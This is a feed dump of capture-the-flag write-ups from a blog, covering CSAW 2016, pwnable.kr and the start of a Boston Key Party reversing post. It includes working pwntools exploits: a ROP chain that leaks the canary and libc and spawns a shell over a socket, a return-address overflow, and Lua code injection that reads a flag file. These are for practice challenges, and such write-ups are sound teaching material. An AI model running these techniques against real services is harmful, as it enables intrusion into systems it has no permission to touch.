      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;10.13.37.21:1337&lt;br&gt;&lt;
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="x86-64" scheme="https://poning.me/tags/x86-64/"/>
    
      <category term="D-CTF Quals" scheme="https://poning.me/tags/D-CTF-Quals/"/>
    
      <category term="GOT" scheme="https://poning.me/tags/GOT/"/>
    
      <category term="heap overflow" scheme="https://poning.me/tags/heap-overflow/"/>
    
  </entry>
  
  <entry>
    <title>CSAW CTF 2016: Tutorial (pwn 200)</title>
    <link href="https://poning.me/2016/09/29/tutorial/"/>
    <id>https://poning.me/2016/09/29/tutorial/</id>
    <published>2016-09-28T17:01:39.000Z</published>
    <updated>2016-09-28T17:01:39.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.<br>nc pwn.chal.csaw.io 8002<br><a href="/2016/09/29/tutorial/tutorial" title="tutorial">tutorial</a> <a href="/2016/09/29/tutorial/libc-2.19.so" title="libc-2.19.so">libc-2.19.so</a></p>
</blockquote>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><ul>
<li>A socket server</li>
<li>Obvious leak of libc address and stack canary + provided libc library + stack buffer overflow</li>
<li>ROP attack (<code>dup2</code>, <code>dup2</code>, <code>system(&quot;/bin/sh&quot;)</code>)</li>
</ul>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>The direct execution of <code>tutorial</code> will crash. So, I inspect the binary with IDA Pro and found that this is a TCP server which requires a port number as the argument and a user call <code>tutorial</code> exists in the system. After slightly patching the program and providing the port number, I can run the program on my computer. Connecting to the server, it displays three options.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>-Tutorial-<br>1.Manual<br>2.Practice<br>3.Quit<br>&gt;<br></pre></td></tr></table></figure>
<p>The first option <code>1.Manual</code> prints an address <code>Reference:0x7fad235d3860</code>, which is the address of <code>puts - 1280</code>. Together with the provided <code>libc-2.19.so</code>, it allows us to caculate the address of other functions in the libc.</p>
<p>The second option <code>2.Practice</code> asks us to input our exploit. Sending some random input, it seems to echo our input with some extra binary data in the end.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>&gt;2<br>Time to test your exploit...<br>&gt;abc<br>abc<br>��g�]�p�g/�-<br></pre></td></tr></table></figure>
<p>It turns out that these binary data are stack canary and part of the <code>rbp</code>. With the knowledge of stack canary and the address of functions in libc, now we can make use of the stack buffer overflow vulnerability of option 2 to conduct the ROP attack.</p>
<p>Notice that the server interacts with us via socket instead of standard input output. We can’t merely invoke the <code>system(&quot;/bin/sh&quot;)</code>, which opens a shell only on the server side. The most common solution is using <code>dup2</code> to duplicate the file descriptor of socket connection to standard input and output before calling <code>system</code>. There are three ways to find out the file descriptor of the connection:</p>
<ol>
<li>Educated guess. Functions usually return the lowest possible file descriptor. Standard input, output, and error are 0, 1, and 2 respectively. <code>socket</code> may return 3. Then <code>accept</code> is likely to return 4.</li>
<li>Leak stack buffer. Since we can leak the lower four bytes of <code>rbp</code>, we can easily guess the address of stack and leak the file descriptor stored in it.</li>
<li><code>ls -l /proc/&lt;pid&gt;/fd</code>. Execute the program locally and inspect what file descriptors are being used.</li>
</ol>
<p>The script is as follows.<br><figure class="highlight python"><figcaption><span>tutorial_exp.py</span><a href="/2016/09/29/tutorial/tutorial_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br>46<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<br><br><span class="hljs-comment"># ROP gadget</span><br>pop_rsi_r15 = <span class="hljs-number">0x4012e1</span><br>pop_rdi = <span class="hljs-number">0x4012e3</span><br><br>puts_base = <span class="hljs-number">0x6fd60</span><br>system_base = <span class="hljs-number">0x46590</span><br>bin_sh_base = <span class="hljs-number">0x17c8c3</span><br>dup2_base = <span class="hljs-number">0xebe90</span><br><br>r = remote(<span class="hljs-string">'pwn.chal.csaw.io'</span>, <span class="hljs-number">8002</span>)<br><br><span class="hljs-comment"># leak libc address</span><br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt;'</span>)<br>r.sendline(<span class="hljs-string">'1'</span>)<br>line = r.recvline()[:<span class="hljs-number">-1</span>]<br><span class="hljs-keyword">print</span> line<br>puts_addr = int(line[<span class="hljs-number">-14</span>:], <span class="hljs-number">16</span>) + <span class="hljs-number">1280</span><br>libc_addr = puts_addr - puts_base<br>system_addr = libc_addr + system_base<br>bin_sh_addr = libc_addr + bin_sh_base<br>dup2_addr = libc_addr + dup2_base<br><br><span class="hljs-comment"># leak canary</span><br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt;'</span>)<br>r.sendline(<span class="hljs-string">'2'</span>)<br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt;'</span>)<br>r.send(<span class="hljs-string">' '</span>)<br>sleep(<span class="hljs-number">0.2</span>)<br>data = r.recv()<br>canary = data[<span class="hljs-number">-12</span>:<span class="hljs-number">-4</span>]<br><span class="hljs-keyword">print</span> repr(data)<br><br><span class="hljs-comment"># ROP payload</span><br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt;'</span>)<br>r.sendline(<span class="hljs-string">'2'</span>)<br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt;'</span>)<br>payload = <span class="hljs-string">'A'</span>*<span class="hljs-number">312</span> + canary + <span class="hljs-string">'A'</span>*<span class="hljs-number">8</span><br>payload += p64(pop_rdi) + p64(<span class="hljs-number">4</span>) + p64(pop_rsi_r15) + p64(<span class="hljs-number">0</span>) + <span class="hljs-string">'A'</span>*<span class="hljs-number">8</span> + p64(dup2_addr) <span class="hljs-comment"># dup2(4, 0)</span><br>payload += p64(pop_rdi) + p64(<span class="hljs-number">4</span>) + p64(pop_rsi_r15) + p64(<span class="hljs-number">1</span>) + <span class="hljs-string">'A'</span>*<span class="hljs-number">8</span> + p64(dup2_addr) <span class="hljs-comment"># dup2(4, 1)</span><br>payload += p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)                         <span class="hljs-comment"># system("/bin/sh")</span><br>r.send(payload)<br><br>r.interactive()<br></pre></td></tr></table></figure></p>
<blockquote>
<p>Flag: <code>FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}</code></p>
</blockquote>
<h2 id="Note"><a href="#Note" class="headerlink" title="Note"></a>Note</h2><ul>
<li><strong>What I’ve learned:</strong><ul>
<li>Using <code>dup2</code> to get the interactive shell of socket server.</li>
<li>There is no need to inject the string <code>/bin/sh</code> to somewhere in the buffer as I first did. This string is containing in the libc, and its offset can be found by <code>strings -t x libc-2.19.so | grep &quot;/bin/sh&quot;</code></li>
</ul>
</li>
<li>This server using <code>fork</code> to create a new process to handle the new user’s request, so the base address of <code>libc</code> and the value of stack canary remain the same from request to request. There is no need to automatically parse these value during the contest. Just hard code them in the script to save some time.</li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Ok sport, now that yo
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="CSAW CTF" scheme="https://poning.me/tags/CSAW-CTF/"/>
    
      <category term="x86-64" scheme="https://poning.me/tags/x86-64/"/>
    
      <category term="ROP" scheme="https://poning.me/tags/ROP/"/>
    
  </entry>
  
  <entry>
    <title>CSAW CTF 2016: Aul (pwn 100)</title>
    <link href="https://poning.me/2016/09/20/aul/"/>
    <id>https://poning.me/2016/09/20/aul/</id>
    <published>2016-09-20T07:31:01.000Z</published>
    <updated>2016-09-20T07:31:35.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Wow, this looks like an aul-ful game. I think there is a flag around here somewhere…<br>nc pwn.chal.csaw.io 8001</p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>After connecting to the server, it display some sort of game. The interesting thing is that when we type <code>help</code>, it will print some binary-like data. </p>
<figure class="highlight plain"><table><tr><td class="code"><pre>let&apos;s play a game<br>| 0 0 0 0 0 0 0 0 |<br>| 0 1 0 0 0 0 4 0 |<br>| 0 3 2 2 4 1 4 4 |<br>| 0 3 2 3 2 3 4 3 |<br>| 4 b 2 2 4 4 3 4 |<br>| 3 2 4 4 1 1 2 2 |<br>| 3 3 c d 3 3 2 3 |<br>| 3 2 1 4 4 a 2 4 |<br>help<br>help<br>LuaS�<br><br>xV(w@�,��,�,���,��,�,���,��,�,���CA�$@@C$@�&amp;�<br>                                              make_boardpopulate_boardboard_tostringfallrotatecrush<br>                                                                                                   rotate_lefreadAllhelpquitexit	run_stepgame<br>writelinelet&apos;s play a game<br><br><br>K@J��@@��<br>         AF�@<br>setmetatable�J��@�f&amp;�size<br>            __tostringboard_tostring&quot;<br>                                     .�@���A@�@@$Ab@�����@RA, @��@�F�A���AB���Ad������<br>@i���A�����h��@d���C�BC���<br>��g��F�C�ef&amp;�sizemath<br>F@G@�������d���F��@�&amp;&amp;�mathrandom$/!K�@�@�@A�����BN�@��(B��A�������݁&apos;�BA�A@�������$B�����@A���AA���&amp;�<br>size| tableinsert |concat<br>1D<br>G@�@@��������N��(���@�$B&apos;���&amp;�size<br>�OCMÂGC�@&apos;��@��&amp;�size            make_board5EN���@�@������������_@@�����������������N����&amp;���������FSG@�@@����������A������΁��N����(B�C�<br>                       make_boardUg<br>$G@�@@��������A�A���@�N����(A����&apos;��OA�N����(A�B�G�GB�@@����@����&apos;��&amp;size<br>                                                                           make_boardabcdik	F@�@�@��ef&amp;�rotatemr<br>                                                                                                                    F@G@����d���������@��@�&amp;�ioopenrbread*allclosetx@@@F�@��d��$��F@A��@ǀ��d@&amp;�stringsureadAll<br>                                     server.luac	writerawlen&#123;@@�&amp;�quit�-F@d���@@��@�����@���A�@����@@�@A�������@����@@�@A�������@����B�@���������B@������&amp;�<br>                                                                                                                                                                   	readlinestringlenexitfind	functionprintloareturn ��%@F@@��d$�F�@�A����@��d@F�A�d���A�@@�_�@���@BƀBAB@$�������@���@���&amp;�<br>                                                                                                                              populate_board<br>                                                                                                                                            make_board<br>writelineboard_tostring<br>	run_stepquitfallcrushEDidn&apos;t understand. Type &apos;rotate&apos;, &apos;rotate_left&apos;, &apos;exit&apos;, or &apos;help&apos;.<br>Didn&apos;t understand. Type &apos;rotate&apos;, &apos;rotate_left&apos;, &apos;exit&apos;, or &apos;help&apos;.<br></pre></td></tr></table></figure>
<p>According to its first few bytes <code>Lua</code>, I suppose it is Lua bytecode. However, when I try to decompile or execute the binary, it seems to be corrupted. <a href="https://github.com/ret2libc/ctfs/tree/master/csaw2016/aul" target="_blank" rel="external">This writeup</a> has described how to fix the binary, but during the contest, I just tried entering some function name shown in the binary like <code>game</code> and found that the function will be called. Furthermore, I found that it can actually execute arbitrary Lua function like <code>io.write(&#39;hi&#39;)</code>. I then entering <code>io.write(io.open(&quot;flag&quot;, &quot;r&quot;):read(&quot;*all&quot;))</code> to read and print the flag.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>let&apos;s play a game<br>| 0 0 0 0 0 0 0 0 |<br>| 0 1 0 0 0 0 4 0 |<br>| 0 3 2 2 4 1 4 4 |<br>| 0 3 2 3 2 3 4 3 |<br>| 4 b 2 2 4 4 3 4 |<br>| 3 2 4 4 1 1 2 2 |<br>| 3 3 c d 3 3 2 3 |<br>| 3 2 1 4 4 a 2 4 |<br>io.write(io.open(&quot;flag&quot;, &quot;r&quot;):read(&quot;*all&quot;))<br>io.write(io.open(&quot;flag&quot;, &quot;r&quot;):read(&quot;*all&quot;))<br>flag&#123;we_need_a_real_flag_for_this_chal&#125;<br></pre></td></tr></table></figure>
<p>Yes, I luckily guess the filename <code>flag</code>.</p>
<blockquote>
<p>Flag: <code>flag{we_need_a_real_flag_for_this_chal}</code></p>
</blockquote>
<h2 id="Note"><a href="#Note" class="headerlink" title="Note"></a>Note</h2><p>Instead of guessing the filename of the flag, using <code>os.execute(&quot;/bin/sh&quot;)</code> can get the shell reliably (<a href="https://galhacktictrendsetters.wordpress.com/2016/09/20/csaw-quals-2016-aul/" target="_blank" rel="external">reference</a>).</p>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Wow, this looks like 
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="Lua" scheme="https://poning.me/tags/Lua/"/>
    
      <category term="CSAW CTF" scheme="https://poning.me/tags/CSAW-CTF/"/>
    
  </entry>
  
  <entry>
    <title>CSAW CTF 2016: Warmup (pwn 50)</title>
    <link href="https://poning.me/2016/09/20/warmup/"/>
    <id>https://poning.me/2016/09/20/warmup/</id>
    <published>2016-09-20T03:49:23.000Z</published>
    <updated>2016-09-21T03:01:00.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>So you want to be a pwn-er huh? Well let’s throw you an easy one ;)<br>nc pwn.chal.csaw.io 8000<br><a href="/2016/09/20/warmup/warmup" title="warmup">warmup</a></p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>As the description said, this is a very straightforward question. Even without reversing the binary, it prints the address of the target function <code>system(&quot;cat flag.txt&quot;);</code> for us. Just buffer overflow the return address and jump to that funtion to get the flag.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>-Warm Up-<br>WOW:0x40060d<br>&gt;<br></pre></td></tr></table></figure>
<figure class="highlight python"><figcaption><span>warmup_exp.py</span><a href="/2016/09/20/warmup/warmup_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>r = remote(<span class="hljs-string">'pwn.chal.csaw.io'</span>, <span class="hljs-number">8000</span>)<br>r.sendline(<span class="hljs-string">'A'</span>*<span class="hljs-number">72</span> + p64(<span class="hljs-number">0x40060d</span>))<br><span class="hljs-keyword">print</span> r.recvall()<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>FLAG{LET_US_BEGIN_CSAW_2016}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;So you want to be a p
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="CSAW CTF" scheme="https://poning.me/tags/CSAW-CTF/"/>
    
      <category term="x86-64" scheme="https://poning.me/tags/x86-64/"/>
    
  </entry>
  
  <entry>
    <title>Pwnable.kr: collision (3 pt)</title>
    <link href="https://poning.me/2016/08/08/collision/"/>
    <id>https://poning.me/2016/08/08/collision/</id>
    <published>2016-08-08T13:24:12.000Z</published>
    <updated>2016-08-08T13:24:42.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Daddy told me about cool MD5 hash collision today.<br>I wanna do something like that too!<br>ssh col@pwnable.kr -p2222 (pw:guest)</p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><figure class="highlight c"><figcaption><span>fd.c</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br></pre></td><td class="code"><pre><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span><br><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> hashcode = <span class="hljs-number">0x21DD09EC</span>;<br><span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-title">check_password</span><span class="hljs-params">(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span>* p)</span></span>&#123;<br>	<span class="hljs-keyword">int</span>* ip = (<span class="hljs-keyword">int</span>*)p;<br>	<span class="hljs-keyword">int</span> i;<br>	<span class="hljs-keyword">int</span> res=<span class="hljs-number">0</span>;<br>	<span class="hljs-keyword">for</span>(i=<span class="hljs-number">0</span>; i&lt;<span class="hljs-number">5</span>; i++)&#123;<br>		res += ip[i];<br>	&#125;<br>	<span class="hljs-keyword">return</span> res;<br>&#125;<br><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span></span>&#123;<br>	<span class="hljs-keyword">if</span>(argc&lt;<span class="hljs-number">2</span>)&#123;<br>		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"usage : %s [passcode]\n"</span>, argv[<span class="hljs-number">0</span>]);<br>		<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>	&#125;<br>	<span class="hljs-keyword">if</span>(<span class="hljs-built_in">strlen</span>(argv[<span class="hljs-number">1</span>]) != <span class="hljs-number">20</span>)&#123;<br>		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"passcode length should be 20 bytes\n"</span>);<br>		<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>	&#125;<br><br>	<span class="hljs-keyword">if</span>(hashcode == check_password( argv[<span class="hljs-number">1</span>] ))&#123;<br>		system(<span class="hljs-string">"/bin/cat flag"</span>);<br>		<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>	&#125;<br>	<span class="hljs-keyword">else</span><br>		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"wrong passcode.\n"</span>);<br>	<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>&#125;<br></pre></td></tr></table></figure>
<p>The target program converts the argument from a 20 bytes string to an array of 5 integers and sum them up. If the sum equals to <code>0x21DD09EC</code>, it will output the flag. I craft the input with 4 integers of <code>\x01\x01\x01\x01</code> (just for padding) plus an integer of the difference to the target hashcode. The difference can be calculated as follows.</p>
<figure class="highlight python"><figcaption><span>cal.py</span><a href="/2016/08/08/collision/cal.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">print</span> repr(p32(<span class="hljs-number">0x21DD09EC</span> - u32(<span class="hljs-string">'\x01\x01\x01\x01'</span>)*<span class="hljs-number">4</span>))<br></pre></td></tr></table></figure>
<p>After calculating the difference, which is <code>\xe8\x05\xd9\x1d</code>, we can solve the problem with the input mentioned above.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>$ ./col $&apos;\xe8\x05\xd9\x1d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01&apos;<br>daddy! I just managed to create a hash collision :)<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>daddy! I just managed to create a hash collision :)</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Daddy told me about c
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="Pwnable.kr" scheme="https://poning.me/tags/Pwnable-kr/"/>
    
  </entry>
  
  <entry>
    <title>Pwnable.kr: fd (1 pt)</title>
    <link href="https://poning.me/2016/08/08/fd/"/>
    <id>https://poning.me/2016/08/08/fd/</id>
    <published>2016-08-08T06:50:37.000Z</published>
    <updated>2016-08-08T07:22:57.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Mommy! what is a file descriptor in Linux?<br>ssh fd@pwnable.kr -p2222 (pw:guest)</p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><figure class="highlight c"><figcaption><span>fd.c</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br></pre></td><td class="code"><pre><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span><br><span class="hljs-keyword">char</span> buf[<span class="hljs-number">32</span>];<br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[], <span class="hljs-keyword">char</span>* envp[])</span></span>&#123;<br>	<span class="hljs-keyword">if</span>(argc&lt;<span class="hljs-number">2</span>)&#123;<br>		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"pass argv[1] a number\n"</span>);<br>		<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>	&#125;<br>	<span class="hljs-keyword">int</span> fd = atoi( argv[<span class="hljs-number">1</span>] ) - <span class="hljs-number">0x1234</span>;<br>	<span class="hljs-keyword">int</span> len = <span class="hljs-number">0</span>;<br>	len = read(fd, buf, <span class="hljs-number">32</span>);<br>	<span class="hljs-keyword">if</span>(!<span class="hljs-built_in">strcmp</span>(<span class="hljs-string">"LETMEWIN\n"</span>, buf))&#123;<br>		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"good job :)\n"</span>);<br>		system(<span class="hljs-string">"/bin/cat flag"</span>);<br>		<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);<br>	&#125;<br>	<span class="hljs-built_in">printf</span>(<span class="hljs-string">"learn about Linux file IO\n"</span>);<br>	<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br><br>&#125;<br></pre></td></tr></table></figure>
<p>The target program will read 32 bytes from file descriptor <code>argv[1] - 0x1234</code>, and if the content equals to <code>LETMEWIN\n</code>, it will output the flag. To solve this problem, we can pass 4660 (0x1234) as the first argument. Then this program will read from the standard input, which we can assign its value to <code>LETMEWIN\n</code> to get the flag.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>$ echo &quot;LETMEWIN&quot; | ./fd 4660<br>good job :)<br>mommy! I think I know what a file descriptor is!!<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>mommy! I think I know what a file descriptor is!!</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Mommy! what is a file
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="Pwnable.kr" scheme="https://poning.me/tags/Pwnable-kr/"/>
    
  </entry>
  
  <entry>
    <title>Boston Key Party CTF 2016: unholy (reversing 4)</title>
    <link href="https://poning.me/2016/03/10/unholy/"/>
    <id>https://poning.me/2016/03/10/unholy/</id>
    <published>2016-03-10T15:48:02.000Z</published>
    <updated>2017-03-11T06:06:44.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>python or ruby? why not both!<br><a href="/2016/03/10/unholy/9c2b8593c64486de25698fcece7c12fa0679a224.tar.gz" title="https://s3.amazonaws.com/bostonkeyparty/2016/9c2b8593c64486de25698fcece7c12fa0679a224.tar.gz">https://s3.amazonaws.com/bostonkeyparty/2016/9c2b8593c64486de25698fcece7c12fa0679a224.tar.gz</a></p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>This challenge involves three languages: Ruby, Python, and x86-64 assembly. They are combined by some kind of native extension mechanism, but we don’t have to understand the details of the mechanism nor master these languages to solve the problem. Just make the best guess and verify it. First, have a look at the main program.</p>
<figure class="highlight ruby"><figcaption><span>main.rb</span><a href="/2016/03/10/unholy/main.rb">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br></pre></td><td class="code"><pre>require_relative <span class="hljs-string">'unholy'</span><br><span class="hljs-keyword">include</span> UnHoly<br>python_hi<br>puts ruby_hi<br>puts <span class="hljs-string">"Programming Skills: PRIMARILY RUBY AND PYTHON BUT I CAN USE ANY TYPE OF GEM TO CONTROL ANY TYPE OF SNAKE"</span><br>puts <span class="hljs-string">"give me your flag"</span><br>flag = gets.chomp!<br>arr = flag.unpack(<span class="hljs-string">"V*"</span>)<br>is_key_correct? arr<br></pre></td></tr></table></figure>
<p>The methods used in <code>main.rb</code> can be found in <code>unholy.so</code>. Here is the piece of code that register the Ruby module and methods.</p>
<figure class="highlight x86asm"><table><tr><td class="code"><pre>void __cdecl Init_unholy()<br><span class="hljs-keyword">push</span>    <span class="hljs-built_in">rbx</span><br><span class="hljs-keyword">lea</span>     <span class="hljs-built_in">rdi</span>, aUnholy    <span class="hljs-comment">; "UnHoly"</span><br><span class="hljs-keyword">call</span>    _rb_define_module<br><span class="hljs-keyword">mov</span>     <span class="hljs-built_in">rbx</span>, <span class="hljs-built_in">cs</span>:UnHoly_ptr<br><span class="hljs-keyword">lea</span>     <span class="hljs-built_in">rdx</span>, method_python_hi<br><span class="hljs-keyword">lea</span>     <span class="hljs-built_in">rsi</span>, aPython_hi <span class="hljs-comment">; "python_hi"</span><br><span class="hljs-keyword">mov</span>     <span class="hljs-built_in">rdi</span>, <span class="hljs-built_in">rax</span><br><span class="hljs-keyword">xor</span>     <span class="hljs-built_in">ecx</span>, <span class="hljs-built_in">ecx</span><br><span class="hljs-keyword">mov</span>     [<span class="hljs-built_in">rbx</span>], <span class="hljs-built_in">rax</span><br><span class="hljs-keyword">call</span>    _rb_define_method<br><span class="hljs-keyword">mov</span>     <span class="hljs-built_in">rdi</span>, [<span class="hljs-built_in">rbx</span>]<br><span class="hljs-keyword">lea</span>     <span class="hljs-built_in">rdx</span>, method_ruby_hi<br><span class="hljs-keyword">lea</span>     <span class="hljs-built_in">rsi</span>, aRuby_hi   <span class="hljs-comment">; "ruby_hi"</span><br><span class="hljs-keyword">xor</span>     <span class="hljs-built_in">ecx</span>, <span class="hljs-built_in">ecx</span><br><span class="hljs-keyword">call</span>    _rb_define_method<br><span class="hljs-keyword">mov</span>     <span class="hljs-built_in">rdi</span>, [<span class="hljs-built_in">rbx</span>]<br><span class="hljs-keyword">lea</span>     <span class="hljs-built_in">rdx</span>, method_check_key<br><span class="hljs-keyword">lea</span>     <span class="hljs-built_in">rsi</span>, aIs_key_correct <span class="hljs-comment">; "is_key_correct?"</span><br><span class="hljs-keyword">pop</span>     <span class="hljs-built_in">rbx</span><br><span class="hljs-keyword">mov</span>     <span class="hljs-built_in">ecx</span>, <span class="hljs-number">1</span><br><span class="hljs-keyword">jmp</span>     _rb_define_method<br></pre></td></tr></table></figure>
<p>The main program want us to enter the flag, and then it will unpack the input string into integer array and pass it to the method <code>is_key_correct?</code>. According to <code>Init_unholy</code> above, we should look into <code>method_check_key</code> now. <code>method_check_key</code> can be divided into three parts.</p>
